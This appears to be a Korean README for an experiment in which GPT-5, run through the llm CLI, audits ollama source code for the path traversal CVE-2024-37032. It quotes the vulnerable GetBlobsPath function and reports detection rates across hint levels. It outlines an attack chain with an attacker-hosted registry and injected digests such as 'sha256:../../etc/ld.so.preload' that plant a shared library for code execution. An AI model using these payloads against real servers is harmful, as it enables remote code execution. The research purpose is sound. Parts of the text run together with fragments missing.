
o3를 사용하여 CVE-2025-37899를 찾는 블로그 게시물의 아티팩트
기반 o3를 사용하여 CVE-2025-37899, Linux 커널의 SMB 구현에서 원격 제로데이 취약점을 찾은 방법
ollama 취약점 CVE-2024-37032
다음을 사용하여 llm CLI
pip install llm
llm keys set openai
llm --sf system_prompt_path_traversal.prompt \
-f codes.prompt \
-f ollama_explainer.prompt \
-f code_context_explainer.prompt \
-f audit_request.prompt -m gpt-5 > gpt5-report.txt
취약점 개요:
/api/pull 처리 시, 원격 매니페스트의 blob 다이제스트가 경로 검증 없이 GetBlobsPath()에서 사용됨취약 코드 ollama/server/modelpath.go (v0.1.34 이전):
func GetBlobsPath(digest string) (string, error) {
dir, err := modelsDir()
if err != nil { return "", err }
// BUG: Only replaces ':' with '-', leaving '../' intact
digest = strings.ReplaceAll(digest, ":", "-")
// Joins unvalidated user-controlled digest into a filesystem path
path := filepath.Join(dir, "blobs", digest)
dirPath := filepath.Dir(path)
if digest == "" { dirPath = path }
// Creates directories for attacker-influenced path
if err := os.MkdirAll(dirPath, 0o755); err != nil { return "", err }
return path, nil
}
ollama pull llama3 실행 → 내부적으로 /api/pull 엔드포인트 호출sha256:f2ef2e10...)downloadBlob → GetBlobsPath(digest) 호출modelsDir/blobs/sha256-f2ef2e10...os.Rename()으로 최종 경로에 저장attacker.com)를 호스팅ollama pull attacker.com/malicious-model 실행sha256:../../root/bad.so를 매니페스트에 주입GetBlobsPath가 검증 없이 경로를 조합 → 공격자가 제어하는 공유 라이브러리가 /root/bad.so에 기록됨sha256:../../etc/ld.so.preload를 매니페스트에 주입/etc/ld.so.preload에 /root/bad.so 기록/etc/ld.so.preload를 읽고 /root/bad.so를 자동 로드 → RCEserver/{modelpath, routes, download}.go (취약 코드)"../" 세그먼트, 경로 구분자 등에 대한 명시적 검사 (강한 힌트)server/auth.go) (총 11개 파일)sha256 접두사, "경로 탐색" 키워드 제거auth/auth.go) (총 21개 파일)GetBlobsPath 취약 코드 탐지/api/pull → blob 쓰기 체인 추적레벨 3 결과: 대상 컨텍스트와 힌트가 제거되고 극심한 노이즈가 있는 상태에서, 모델은 4, 5, 6, 7, 9, 11, 14, 18, 19번째 시도에서 대상 취약점을 탐지하여 9/20 = 45% 의 의사 제로데이 탐지 성공률을 보였습니다.